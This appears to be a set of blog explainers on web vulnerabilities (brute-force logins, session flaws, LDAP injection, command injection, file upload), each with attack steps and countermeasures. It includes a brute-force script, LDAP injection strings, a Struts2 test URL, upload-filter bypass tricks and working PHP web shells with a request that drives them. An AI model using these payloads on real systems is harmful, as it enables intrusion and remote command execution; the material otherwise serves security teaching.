Cybersecurity: What is Automated Attacks?

Definition

Automated attacks refer to vulnerabilities where attackers use computer programs or scripts to automatically target a system.

Vulnerability Points

• Login page
• Post submission
• Social media sharing page

Vulnerability Verification Methods

• Repeatedly attempting requests without any issues

Attack Methods

Attack Scenarios

Common scenarios for automated attacks can include:

• Using automated tools to repeatedly attempt logins.
• The attacker captures the passwords of users with weak passwords.

Occurrence Process

Attack Example

The following example is a Python code designed to repeatedly attempt logins on a login site that has only a 4-digit password, written in PHP.

import requests

url = '<http://example.com/login_check.php>'
username = 'test'
password = '1234'

# Create a session
session = requests.Session()

# Send POST requests
for i in range(1, 9999):
    data = {
        'user_id': username,
        'user_pass': i
    }

    response = requests.post(url, data=data)

    # Check the response
    if response.status_code == 200:
        print('Request Password: ', i)
        print('Response Content:', response.text)
    else:
        print('Request failed. Status code:', response.status_code)

Countermeasures

1. Strong Authentication and Encryption: Prevent malicious access by using robust CAPTCHA authentication methods and encryption.
2. Network Security: Monitor network traffic and detect malicious activities using firewalls, intrusion detection systems, and other security measures.
3. Web Application Security: Adhere to secure coding practices to prevent vulnerabilities in web applications and implement appropriate web application firewalls.

What is Session Prediction?

Definition

Session Prediction is a security vulnerability where an attacker predicts session identifiers to hijack or forge another user's session. Session identifiers are typically used in the form of cookies, tokens, or session IDs to maintain a user's authentication state and manage sessions.

Vulnerability Points of Occurrence

• All pages where sessions are applied.

Vulnerability Verification Methods

• When there is a consistent algorithm for session issuance that makes prediction easy:
  • Verify if sessions are issued anew during login.
  • Check if sessions are related to different IDs.
  • Verify if sessions are related to time.
  • Ensure sessions do not remain unchanged.
  • Check encryption methods (e.g., MD5 not used, DES, SHA, etc.).

Attack Methods

Attack Scenario

1. Attackers use various techniques to predict session identifiers.
2. Attackers who have predicted session identifiers hijack or forge the user's session to bypass authentication.
3. Attackers use session identifiers to impersonate users, abusing the original user's privileges or performing illegal actions.

Occurrence Process

Detailed Process Explanation

1. The user requests authentication from the application.
2. The application issues a session to the user.
3. The attacker confirms that the session is the same as the user's ID.
4. The attacker uses various attack techniques (e.g., XSS) to obtain the session identifier.
5. The user exposes the session identifier to the attacker.
6. The attacker uses the acquired session identifier to send requests to the application.
7. The application processes the attacker's requests.

Mitigation Strategies

• Use strong session identifier generation algorithms that are difficult to predict and have high randomness.
• Strengthen session management and maintenance methods. Limit the validity period of sessions and renew them when necessary.
• Implement secure session identifier transmission methods. Use encrypted connections like HTTPS or require additional authentication.

What is Insufficient Session Expiration?

Definition

Insufficient Session Expiration is a security vulnerability where session duration is not adequately configured, allowing sessions to remain active for an extended period. This can enable attackers to exploit stolen sessions or allow unauthorized access even after a user has logged out.

Vulnerable Points of Occurrence

• All pages that require a session.

Vulnerability Verification Method

• Accessing the "My Page" while logged out to check if the session persists.

Attack Method

Attack Scenario

1. The attacker identifies that sessions are persisting for an extended period due to insufficient session expiration settings.
2. Even after a user logs out, if the session remains valid, the attacker can exploit the stolen session to access the application while impersonating the user.
3. The attacker can then perform illegal actions or abuse the user's privileges.

Event Flow

Detailed Process Explanation

1. The user initiates a logout request to the application.
2. The application handles the logout request and expires the session.
3. However, due to insufficient session expiration settings, the session remains valid.
4. The attacker utilizes the stolen session to send requests to the application.
5. The application processes the attacker's request.

Mitigation Measures

• Implement proper session expiration settings. Set session validity periods and automatically expire sessions based on user inactivity.
• Handle session expiration appropriately when a user logs out.

What is Session Fixation?

Definition

Session Fixation is one of the vulnerabilities that can occur in web application security. This vulnerability refers to a situation where an attacker gains access to an authenticated session by controlling the user's session identifier.

Points of Vulnerability

• Pages that issue sessions
• Pages that require a session (after authorization)

Vulnerability Verification Methods

• If the issued session remains the same even after logging out and logging back in.
• If the session before logging in and the session after logging in are the same.
• If the session is not reissued (no "set cookie" in the response).

Attack Method

Attack Scenario

1. The attacker logs in and creates a session identifier.
2. The attacker forcefully delivers this session identifier to the user.
3. The user logs in to the web application and starts a session.
4. Since the session is already the same, the attacker can access the authenticated session by refreshing.

Attack Scenario Process

Detailed Explanation

1. The attacker sends an authentication request to the web application.
2. The web application generates a session identifier for authentication.
3. The session identifier is delivered to the user and is used when starting a session.
4. The attacker forcefully delivers a previously generated malicious session identifier to the user.
5. When the user starts a session, they unknowingly use the malicious session identifier provided by the attacker.
6. The web application performs authentication verification and considers the malicious session identifier as valid.
7. The attacker gains access to the authenticated session using the malicious session identifier.

Countermeasures

1. Randomness of Session Identifiers: Session identifiers should be generated randomly and should be difficult to predict.
2. Changing Session Identifiers: Session identifiers should be changed whenever a user is authenticated or gains authorization.
3. Secure Session Management: Session identifiers should be securely stored. If using cookies, set the security attributes 'Secure' and 'HttpOnly' to ensure secure transmission and protection against client-side scripts.
4. Session Monitoring and Logging: Monitor and log session activity in the system to detect and respond to suspicious activities.

Cybersecurity: What Is Weak String Strength?

Definition

Weak string strength is a measure of how vulnerable a string, such as a password or authentication information, is.

Vulnerability Points

• Login Page

Vulnerability Assessment Methods

• Length, simplicity
• Usernames: admin, administrator, manager, guest, test, scott, tomcat, root, user, operator, anonymous, etc.
• Passwords: Abcd, aaaa, 1234, 1111, test, password, public, blank password, password identical to the ID, password123, qwerty, 123456789, etc.
• Hackers often attempt to hack using lists of weak or commonly used usernames and passwords. Therefore, it is essential to be cautious of this.

Attack Methods

Attack Scenario

1. The attacker possesses a list of usernames and passwords with weak string strength.
2. The attacker uses this list to make indiscriminate login attempts.
3. If even one attempt succeeds, they can use it to steal personal information or create additional victims using methods like XSS.

Countermeasures

1. Length and Complexity Requirements: Set requirements for password length and diversity to encourage the use of strong passwords.
2. Strengthen Password Policies: Guide users to create secure passwords and set password change intervals.
3. Require Two-Factor Authentication: Implement additional security by using email, SMS, or apps for two-factor authentication.
4. Account Lockout Policies: Set policies for locking accounts after a certain number of incorrect login attempts.
5. Improve Education and Awareness: Provide users with education on strong password usage and security.

Cybersecurity: What Is Insufficient Authentication?

Definition

Insufficient Authentication is a security vulnerability that refers to a situation in which important functions or resources can be accessed within an application or system without the proper authentication process.

List of Vulnerable Points

• Pages that require authorization to access.
• My Account (User Profile)
• Discussion Boards or Forums

Methods to Verify Vulnerabilities

• Verify if reauthentication is required when accessing the user profile.
• Check if login is possible even with incorrect credentials.
• Identify cases where authentication relies solely on the username.

Attack Methods

Attack Scenario

1. The attacker explores vulnerabilities that allow them to bypass or disable the authentication process.
2. They may bypass authentication using weak passwords or unauthorized access to a user's session.
3. Exploiting the vulnerabilities, the attacker gains unauthorized access to important functions or resources.

Process Flow

Mitigation Strategies

• Implement and strengthen appropriate authentication procedures. Verify user identities and perform thorough authorization checks.
• Establish secure password policies and enforce them. Use encryption for storing passwords and employ secure authentication mechanisms.
• Carefully manage sessions and implement appropriate timeouts and logout functionality.
• Enhance access controls for protected functions or resources to prevent unauthorized users from gaining access.

Cybersecurity: What is Weak Password Recovery?

Definition

Weak Password Recovery is a security vulnerability where the function to recover a forgotten password is poorly implemented, allowing malicious attackers to guess or gain access through brute force attacks.

Vulnerability Points

• Password reset pages

Vulnerability Testing Methods

• Verify if the password is exposed during the password reset process.
• Check if the password, when sent to a phone number or email, can still be delivered even if it's tampered with.

Attack Methods

Attack Scenario

1. The attacker exploits the feature provided for users to recover forgotten passwords.
2. Using weak security procedures or vulnerable reset links/tokens, the attacker bypasses the password reset process or sets arbitrary passwords.
3. The attacker gains access to the user's account through guessing or brute force attacks.

Occurrence Process

Detailed Explanation

1. The user requests a password recovery from the application.
2. The application provides a reset link or token to the user.
3. The user completes the reset procedure and changes the password.
4. The attacker requests password recovery with weak security procedures.
5. The application allows the attacker's request and permits password reset.

Countermeasures

• Implement robust password reset procedures. Verify email addresses and require additional trustworthy authentication steps.
• Limit the validity period of temporary passwords and enforce the necessity of setting a new password.
• Strengthen security questions and answers. Avoid using weak security questions and ensure answers are not easily predictable.
• Implement email verification securely. Use ownership verification for email addresses or additional security authentication methods.

What is Directory Indexing

Definition

Directory indexing vulnerability is one of the security vulnerabilities that can occur in web applications. This vulnerability can occur when a web application dynamically generates directory paths without validating user input.

It is a vulnerability where a specific directory automatically displays a directory listing when the initial page (index.html, home.html, default.asp, etc.) does not exist in that directory.

Vulnerability Occurrence Points

• All pages

Vulnerability Verification Methods

• When example.com/path1/path2/page is given, test example.com/path1/path2/.
• When example.com/path1/path2/page is given, test example.com/path1/../../../.
• When example.com/ is given, test example.com/index.php.
• When example.com/ is given, test example.com/.
• In the case of php+apache, default generated files include:
  • */var/www/html/**index.php
  • /var/www/html/.htaccess
  • */etc/php/**php.ini
  • */var/log/apache2/**error_log
  • */var/log/apache2/**access_log

Attack Method

Attack Scenario

1. The attacker investigates the path in the address bar.
2. The attacker confirms that user input affects the directory path.
3. The attacker attempts to exploit by using the directory path to access the web server's file system or call executable files.

Occurrence Process

Detailed Process Explanation

1. The web application dynamically generates directory paths based on user input.
2. Due to the vulnerability, the directory path is exposed to malicious users.
3. The attacker uses the exposed directory path to attempt to access the web server's file system or call executable files.

Countermeasures

1. Validate User Input: Perform validation on values received from users to restrict them to allowed characters or formats. For example, define a set of allowed characters or limit the length of input values.
2. Use Whitelist Filtering: Process user input using whitelist filtering to only allow directory names that are explicitly permitted, rejecting other characters or path separators.
3. Use Path Mapping: Instead of dynamically generating directory paths based on user input, use a directory mapping table to map input values to actual directory paths. This way, user input doesn't need to be directly applied to directory paths.

What is Information Disclosure

Definition

Unnecessary information exposure, also known as Information Disclosure, refers to security vulnerabilities where information that should not be exposed to users or systems in web services is disclosed to external parties.

Vulnerability Points

• Error pages, HTTP request and response pages

Vulnerability Validation Methods

• For error pages, HTTP request, and response headers, check if version information is visible using Burp Suite.
• Verify if important information commented in web pages is exposed in the web page source.
• Check if excessive information is exposed in error messages or error pages.
• Confirm if encoded important information can be decoded.

Attack Methods

Attack Scenarios

1. Information exposure using error messages: Attackers extract sensitive information such as debug information or paths from error messages.
2. Information exposure using XSS (Cross-Site Scripting): Attackers trick users into accessing the password change page, inadvertently revealing their previous password, which the attacker then captures.

Occurrence Process

Countermeasures

1. Configure not to return detailed error messages with debug and exception information.
2. Implement error handling mechanisms to prevent exposing exception information to users.
3. Take measures not to store sensitive information in log files.
4. Restrict access to the web service's directory structure and file lists.
5. Apply security measures to web application configuration files and database connection information.

What is Malicious Content

Definition

Malicious content refers to malicious content designed to harm or steal a user's system or data, originating from an untrusted source.

Vulnerability Points

1. Bulletin boards
2. Comments
3. File libraries

Vulnerability Verification Methods

Check if the following vulnerabilities exist in bulletin boards, comments, etc.:

1. XSS (Cross-Site Scripting)
2. File upload
3. CSRF (Cross-Site Request Forgery)
4. SSRF (Server-Side Request Forgery)

Attack Methods

Attack Scenarios

1. The attacker creates malicious files or malicious code.
2. The malicious files are distributed through websites, email attachments, or other channels.
3. Victims download malicious files, click on malicious links, or open malicious email attachments.
4. When the malicious content is executed, the attacker damages or steals the victim's system or data.

Occurrence Process

Countermeasures

1. Install and Update Security Software: Install security software such as antivirus and firewalls, and keep them regularly updated to detect and block the latest malicious content.
2. Effective Detection of Malicious Content: Develop methods to quickly detect and block malicious files, links, and emails.
3. User Education and Awareness: Provide users with education on the characteristics of malicious content and how to prevent damage. Encourage them to be cautious with suspicious emails, links, and files.

What is LDAP Injection

Definition

LDAP (Lightweight Directory Access Protocol) injection is a security vulnerability that occurs when user-input data is used in LDAP queries without proper validation or sanitization. This can lead to unauthorized access or manipulation of data within an LDAP directory.

List of Vulnerable Points

• Anywhere user input is used for authentication
• Login identifiers, passwords

Vulnerability Verification Method

• Verify if manipulated LDAP queries are inserted and executed in user input values.

USERNAME>(&)

LDAP Injection Cheatsheet

LDAP (Lightweight Directory Access Protocol)

LDAP is a protocol used to implement network directory services, used to store and retrieve directory information such as users, groups, and devices.

What is LDAP(Lightweight Directory Access Protocol)

Network Directory Services

Network directory services are systems designed to centrally manage information such as users, resources, and services in a computer network. The primary purpose is to efficiently perform user identification, authentication, authorization management, resource retrieval, and access.

LDAP, LDAP Server, WAS, DB Structure

Attack Method

Attack Scenario

1. The attacker manipulates malicious LDAP queries and passes them to a vulnerable application.
2. The application uses user input for LDAP queries without proper validation.
3. The manipulated LDAP query is executed, resulting in unauthorized access or data manipulation within the LDAP directory.

Attack Process

Detailed Process Explanation

1. The attacker provides malicious input, passing it to the application.
2. The application executes the vulnerable LDAP query without proper user input validation.
3. The vulnerable LDAP query is sent to and executed by the LDAP server.
4. The LDAP server processes the query and returns the result to the application.
5. The application displays the result to the user or utilizes it for other purposes.

Mitigation Strategies

• Use prepared statements.
• Implement whitelist-based filtering to allow only alphanumeric characters (a-z, A-Z, 0-9).
• Minimize access permissions to the LDAP server, restricting application accounts to the least necessary privileges.
• Apply rulesets to web firewalls to filter LDAP-related special characters.
• Target filtering:

LDAP Injection Cheatsheet

Basic LDAP Search Query

LDAP (Lightweight Directory Access Protocol) is commonly used to retrieve specific information from directory services (e.g., Active Directory). The following is an example of an LDAP query for basic searches:

(&(attribute1=value1)(attribute2=value2))

Let's break down the components of the query:

• The & symbol is the logical "AND" operator that combines multiple conditions.
• attribute1 and attribute2 are the names of the attributes you want to search within the directory (e.g., "cn" for common name, "mail" for email).
• value1 and value2 are the values you're looking for within those attributes.

You can customize attributes and values to match specific requirements. For example, to search for a user with the common name "John Doe" and the email address "john.doe@example.com," the query would be:

(&(cn=John Doe)(mail=john.doe@example.com))

Thus, for logging in, you can use the following query:

(&(cn=USERNAME)(userPassword=PASSWORD))

Basic LDAP Injection Query

(&) in an LDAP filter doesn't only mean the "AND" operator; it's also a syntactic element that represents an empty filter. You can use this to inject USERNAME>(&) into the identifier field. This will lead to the execution of the query as follows:

(&(cn=USERNAME>(&))(userPassword=PASSWORD))

Depending on the (&), the latter filter becomes unconstrained, and all entries are returned. This naturally results in a successful login.

What is LDAP(Lightweight Directory Access Protocol)

Definition

LDAP (Lightweight Directory Access Protocol) is a protocol that provides directory services as part of the internet protocol stack.

LDAP Structure

LDAP inherently follows a tree structure and stores data with specific conditions. Each node is referred to as an entry, and classified information is stored in each entry.

Entry Name Table

Web Application Structure Using LDAP

Purpose

LDAP provides a way to store and retrieve information about users, groups, devices, and more using a hierarchical data structure.

Advantages

• Efficient data retrieval is possible due to the hierarchical structure of directory services.
• Offers features for authentication and access control, enhancing security.
• Widely known standard protocol with support for various platforms and languages.

Disadvantages

• LDAP can require complex setup and management.
• It might not be suitable for handling large amounts of data.
• It's more specialized for retrieval and storage rather than insertion or modification.

Example

import ldap

# Connect to LDAP server
conn = ldap.initialize('ldap://ldap.example.com')

# Binding (Authentication)
conn.simple_bind_s('username', 'password')

# Search
base_dn = 'ou=users,dc=example,dc=com'
filter = '(& (cn=john))'
attributes = ['cn', 'email']
result = conn.search_s(base_dn, ldap.SCOPE_SUBTREE, filter, attributes)

# Print results
for dn, entry in result:
    cn = entry['cn'][0].decode('utf-8')
    email = entry['email'][0].decode('utf-8')
    print(f'CN: {cn}, Email: {email}')

# Unbind (Disconnect)
conn.unbind()

In the Python code, the ldap module is used to connect to the LDAP server, perform binding (authentication), search, handle results, and disconnect. The ldap.initialize function establishes a connection to the LDAP server, conn.simple_bind_s performs authentication, and conn.search_s is used for searching. The results are then processed and printed.

Operating System Commands by Http Request

Definition

Operating system command execution vulnerabilities are weaknesses that allow malicious users to execute malicious code or induce abnormal behavior within a system using the commands of the operating system.

List of Vulnerability Trigger Points

• All pages
• When receiving an HTTP request and the operating system executes a command based on the parameter value

Vulnerability Verification Methods

• Insert publicly known operating system command execution code into parameter values passed to the web application and verify if the command is executed.

• Apache Struts 2 RCE (Remote Code Execution) vulnerability (publicly known operating system command execution code) reference site: https://cwiki.apache.org/confluence/display/WW/Security+Bulletins

• The code below utilizes a vulnerability in the Struts 2 framework. If the web page is vulnerable, the result of 3*4, which is 12, will be displayed on the page.

  <http://host/struts2-blank/example/X.action?action:%25{3\\\\*4}>
  

Attack Methods

Attack Scenario

1. The attacker generates malicious input to be sent to the system.
2. In vulnerable sections, the input is interpreted as an operating system command or directly passed to a command execution function.
3. This results in the execution of malicious code or abnormal system behavior.

Process of Occurrence

Detailed Process Explanation

1. The attacker generates malicious input.
2. In vulnerable sections, insufficient input validation or incorrect interpretation of external input occurs as an operating system command.
3. This leads to the execution of malicious code within the system or abnormal system behavior.

Mitigation Measures

• Header information restriction: Configure HTTP responses to avoid revealing version information in a few response pages.
• HTTP entity: Safely handle command execution by passing user input as arguments to operating system commands.
• Input validation and filtering: Transform or restrict user input into a trusted format to prevent malicious code injection.
• Permission restriction: Minimize the impact of attacks by limiting the scope of executable commands or restricting the permissions required for command execution.
• Use of appropriate command execution functions: Utilize secure operating system command execution functions or libraries that perform security checks.

What are Authentication and Authorization

Definitions

Authentication

The process of verifying a user's identity, confirming that the person is who they claim to be.

Authentication is the process of confirming the identity of a user or system. This involves the user providing evidence of their claimed identity or the system verifying the identity of the entity attempting to access a resource. Authentication is achieved when a user provides valid credentials (such as a username and password) to confirm their identity, often used during the login process. It is the first step required for a user to gain access to a system.

Authorization

The act of granting permissions to authorized individuals.

Authorization is the process of verifying whether an authenticated entity has the necessary permissions to access specific resources or perform certain actions. It occurs after authentication and involves determining what actions an authenticated entity is allowed to perform. For instance, in a web application, authorization might involve checking a user's permissions before allowing access to a specific page.

Vulnerable Points List

• All pages requiring authentication or authorization

Vulnerability Testing Methods

• Checking if access is possible to posts that are not accessible by simply changing page numbers (changing the HTTP address)
• Verifying if client-side redirection occurs (this might allow response manipulation)
• Reviewing comment sections for potential vulnerabilities
• Checking if JavaScript files (.js) are used to implement redirection
• Testing parameter manipulation

Attack Methods

Authentication Bypass Process

Details of Authentication Bypass Process

1. Page 1 is accessible to anyone.
2. Page 2 requires login. An unsuccessful login attempt is made by the attacker.
3. If the login is successful on Page 2, the user is redirected to Page 3, granting access to the forum.
4. However, Page 3 does not check for successful authentication.
5. The attacker accesses Page 3 without going through Page 2.
6. The server provides Page 3 content to the attacker.

Authorization Bypass Process

Details of Authorization Bypass Process

1. The attacker requests "user profile" from the web server.
2. The web server provides the "user profile" to the attacker.
3. The attacker then requests "admin profile" from the web server.
4. The web server denies the request, indicating incorrect cookie parameters.
5. The attacker speculates that the server checks the cookie parameters.
6. The attacker sends a tampered request for "user profile" to the web server.
7. The web server provides the "admin profile" to the attacker.

Mitigation Strategies

• Ultimate defense: Server-side verification through sessions
  • Server-side verification through sessions is essential
  • Client-side code should focus on user convenience features only
• Additional measures:
  • Implement strong password policies: Enforce length, complexity, and change intervals
  • Introduce Two-Factor Authentication (2FA): Add additional authentication factors beyond passwords
• Apply the principle of least privilege: Grant users only the minimum permissions required

Feel free to use this translated content for your blog! If you have any further questions or need additional assistance, feel free to ask.

What are Dynamic Analysis and Static Analysis

Definition

Methods of Analyzing Programs

Dynamic Analysis

Verifying through multiple executions

Dynamic analysis is a method of analyzing the behavior of software during its execution.

When software is running, dynamic analysis tools are used to monitor and analyze the program's behavior, state, data flow, and more.

Pros

By analyzing the actual behavior of running software, it's possible to identify issues that occur in real environments.

Cons

Analyzing the behavior of running software can impact performance.

It's limited to the execution environment.

It can require more time and resources compared to static analysis.

Static Analysis

Continuously reading the code visually

Static analysis is a method of analyzing source code in a state where the software isn't being executed.

Using static analysis tools, the structure of the code, compliance with rules, potential bugs, security vulnerabilities, and more are identified and analyzed.

Pros

Since it analyzes the source code, it's not limited to the execution environment. It can identify code defects and security vulnerabilities beforehand.

Cons

It's heavily influenced by the skills of the analyzer.

Cyber Security: File Upload Cheet Sheet

File Upload Bypass Methods

NULL Byte Bypass

webshell.php%00.jpg

By inserting a NULL Byte in the middle, as in webshell.php%00.jpg, the processed filename becomes "webshell.php." The NULL Byte signifies the end of a string.

HTML Encoding

In cases where other methods don't work well, you can use HTML Encoding, such as webshell.ph%70, as a simple solution.

Hidden Extensions in PHP

This content is specific to PHP7 and does not apply to PHP5.

In PHP7, there are several additional extensions recognized besides ".php":

.php  .php3  .php4  .php5  .php7  .pht  .phtml  .htm  .html

Hidden Extensions in JSP

.war

Adding a Dot After the Extension

Uploaded files typically ignore symbols like "." after the extension. However, the code that checks during upload can recognize extensions only when this symbol is used.

.php.. .php...

Bypass by Modifying Content-type

When processing files, HTTP uses different Content-types based on the file type. For example:

• jpg uses image/jpg
• png uses image/png
• txt uses text/plain
• php uses text/html

If the server filters using Content-type (blocking text/html), it's possible to bypass by using a proxy tool to modify the Content-type.

Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: image/jpeg

Cyber Security: What is File Upload

Definition

File upload attacks involve malicious users uploading files to web applications or websites to exploit security vulnerabilities. Typically, web shell files are uploaded.

Cyber Security: What is Web Shell

List of Vulnerable Points

• Types of uploadable files
• Cases where the uploaded file path is visible and executable

Vulnerability Verification Methods

• Boards with file upload functionality
• Accessing the user's profile page while logged out

Cyber Security: File Upload Cheet Sheet

Attack Methods

Attack Sequence

1. The attacker utilizes the web application's file upload functionality to upload a file.
2. Determine what types of files are allowed (php, png, jpg, etc.).
3. Verify where the uploaded file is stored on the server and if the file path is exposed.
4. Check if the exposed path allows access to the file via the GET method.
5. Use the upload attack to extract desired information.

File Upload Structure

File Upload Attack Process

Web Shell File Upload Process

1. File Selection: Choose a web shell file.
2. File Upload Request: Server allows php files as web shell files.
3. File Validation: Passes validation checks.
4. File Information Storage: Web shell file is stored.
5. Convey Storage Result: Attacker receives desired information through the web shell.

Countermeasures

• Strengthen File Format Validation: Validate the uploaded file's format to only allow approved file types.
• File Name Verification: Check file names for validity to block malicious file names.
• File Size Limitation: Set file size limits to prevent attackers from uploading large files that could deplete server resources.
• Tighten Security Policies: Restrict the storage location and permissions of uploaded files on the server, and strictly apply security policies to disallow uploading executable files.
• Post-Upload Event Verification: Validate post-upload events on the server to detect malicious actions and prevent unauthorized access.

Cyber Security: What is Web Shell

Definition

A Web Shell is an application or script used to remotely control web servers through a web-based interface. Web shells come in various forms and versions with different functionalities. They are typically written in various web languages such as PHP, ASP, JSP, and more. By using a web shell, users can perform various system tasks, including exploring the web server's file system, executing commands, and accessing databases.

Web Shells in Hacking

Web shells can be utilized by attackers as tools to gain access to web servers for malicious purposes. Malicious scripts can be uploaded and executed on the web server, enabling attackers to execute system commands and take control remotely. In essence, a web shell opens a shell on a website, allowing requests received through the web to be directed towards the operating system.

While legitimate use cases for web shells do exist, due to their potential for misuse, web application developers and administrators need to implement security measures and vulnerability analysis to prevent their misuse.

Web shell attacks are often referred to as file upload attacks.

Cyber Security: What is File Upload

What is a Shell?

A shell is an interface used for interaction between a computer user and an operating system (OS).

Shells provide a text-based environment where users can input and execute commands.

Commonly used shells include Bash (Bourne Again SHell) on Unix and Linux systems, and Command Prompt or PowerShell on Windows systems.

Examples

PHP Web Shell Code

After uploading a PHP file containing the following code and identifying the uploaded file's path, you can insert the parameter "cmd":

<?php echo system($_GET['cmd']);?>

<?php
  if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
  }
?>

example.com/files/webshell.php?cmd=find+../../../../+-name+"flag.txt"

import requests
payload = {
    'cmd': 'whoami'
}
response = requests.get('example.com/files/webshell.php', params=payload)

print(response.text)

Web Hacking Practice: Session Fixation Attack

Login Screen

Login Attempt Request

Login Complete

The above website issues a session before login and verifies the ID and password received during the login attempt request.

In other words, the website follows this flow: Issuing a session ID (unauthenticated) → Login authentication → Using the authenticated session ID. Therefore, it is possible to bypass the login process.

Fake Login Attempt

By using Burp Suite's Repeater, the ID is changed to "admin" in the request and sent. Naturally, the response will be "fail," but since the user ID on the server-side has already been changed during the authentication process, and the session ID is already authenticated, resending the request from the "Login Complete" state will result in being logged in and the ID will be changed.